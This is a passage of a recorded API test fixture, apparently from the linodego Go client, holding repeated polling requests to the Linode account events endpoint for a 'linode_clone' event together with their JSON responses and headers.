events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 63.36303, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 63.435358, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 63.496901, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 63.560603, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 63.620955, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 63.689425, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 63.749446, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 63.918551, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 63.991169, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 64.204319, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 64.290838, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 64.365006, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 64.428091, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 64.520044, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 64.574905, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 64.643298, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 64.742203, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - 